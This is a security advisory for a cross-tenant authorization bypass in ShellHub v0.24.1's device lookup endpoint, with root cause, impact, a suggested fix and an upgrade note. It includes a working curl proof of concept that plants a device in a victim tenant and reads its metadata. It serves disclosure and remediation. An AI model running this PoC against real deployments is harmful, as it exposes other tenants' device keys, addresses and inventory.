GHSA-j72x-xfwg-783f

Published May 6, 2026
·
Updated

## Summary `GET /api/devices/:uid` returns the full device object whenever the caller is authenticated, without verifying that the device belongs to the caller's namespace (tenant). Any authenticated user (JWT or API Key) who knows or can guess a device UID can read device metadata from any other namespace. ## Severity **CVSS 3.1: 7.5 (High)** CWE-639 — Authorization Bypass Through User-Controlled Key ## Affected versions ShellHub Community v0.24.1 (validated). Likely all prior versions that share this handler. ## Root cause `api/services/device.go:97-104` — `GetDevice` resolves the device by UID without scoping to the caller's tenant: ```go func (s *service) GetDevice(ctx context.Context, uid models.UID) (*models.Device, error) { device, err := s.store.DeviceResolve(ctx, store.DeviceUIDResolver, string(uid)) // ⚠️ missing: s.store.Options().InNamespace(tenant) ... } ``` Compare with `DeleteDevice` in the same file (line 137) which correctly applies `InNamespace(tenant)`. The `Authorize` middleware (`api/routes/middleware/authorize.go:12-27`) only checks that a tenant is present in the context — not that the resource belongs to that tenant. ## Proof of concept (validated live against v0.24.1) Pre-requisite: attacker has any valid user account and knows a target `tenant_id` (UUIDs frequently leak via UI URLs, email invites, support channels, or prior namespace membership). ```bash ATTACKER_TOKEN=$(curl -s -X POST http://target/api/login \ -H 'Content-Type: application/json' \ -d '{"username":"attacker","password":"..."}' | jq -r .token) TARGET_TENANT="<victim-tenant-uuid>" # Plant a device in the victim tenant via the public device-auth endpoint # (this also works when the victim already has devices and the attacker # merely guessed/obtained a real UID via another vector) VICTIM_UID=$(curl -s -X POST http://target/api/devices/auth \ -H 'Content-Type: application/json' \ -d "{ \"info\":{\"id\":\"x\",\"pretty_name\":\"x\",\"version\":\"v0.24.1\",\"arch\":\"amd64\",\"platform\":\"docker\"}, \"hostname\":\"poc\", \"identity\":{\"mac\":\"aa:bb:cc:dd:ee:ff\"}, \"public_key\":\"-----BEGIN RSA PUBLIC KEY-----\\nx\\n-----END RSA PUBLIC KEY-----\", \"tenant_id\":\"$TARGET_TENANT\" }" | jq -r .uid) # Read the device from a completely different tenant curl -i "http://target/api/devices/$VICTIM_UID" \ -H "Authorization: Bearer $ATTACKER_TOKEN" # Expected (fixed): HTTP 403/404 # Observed (v0.24.1): HTTP 200 + full device JSON (tenant_id, public_key, MAC, # namespace name, OS info, last_seen, remote_addr, ...) ``` ## Impact - Cross-tenant disclosure of device metadata: hostname, MAC, OS fingerprint, public SSH key, namespace name, last-seen timestamp, remote address. - Enables namespace enumeration, device inventory reconnaissance of other tenants, and targeted follow-up attacks. ## Suggested fix In `api/services/device.go` `GetDevice`, extract tenant from context and apply `InNamespace`: ```go func (s *service) GetDevice(ctx context.Context, uid models.UID) (*models.Device, error) { tenant := gateway.TenantFromContext(ctx) opts := []store.QueryOption{} if tenant != nil { opts = append(opts, s.store.Options().InNamespace(tenant.ID)) } device, err := s.store.DeviceResolve(ctx, store.DeviceUIDResolver, string(uid), opts...) ... } ```

Affected Software

1 affected componentFixes available
go/github.com/shellhub-io/shellhub<=0.24.1
0.24.2

Event History

May 6, 2026
Advisory Published
via GitHub·11:19 PM
Data Sourced
via GitHub·11:19 PM
DescriptionSeverityWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of GHSA-j72x-xfwg-783f?

The severity of GHSA-j72x-xfwg-783f is considered high due to the exposure of device metadata to unauthorized users.

2

How do I fix GHSA-j72x-xfwg-783f?

To fix GHSA-j72x-xfwg-783f, upgrade to version 0.24.2 of the affected software to ensure proper namespace verification.

3

What type of vulnerability is GHSA-j72x-xfwg-783f?

GHSA-j72x-xfwg-783f is an unauthorized access vulnerability that allows authenticated users to access data they should not be able to.

4

What versions are affected by GHSA-j72x-xfwg-783f?

Versions up to and including 0.24.1 of the software are affected by GHSA-j72x-xfwg-783f.

5

Who is impacted by GHSA-j72x-xfwg-783f?

Any authenticated user with knowledge of a device UID may be impacted by GHSA-j72x-xfwg-783f, as they can access other users' device metadata.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203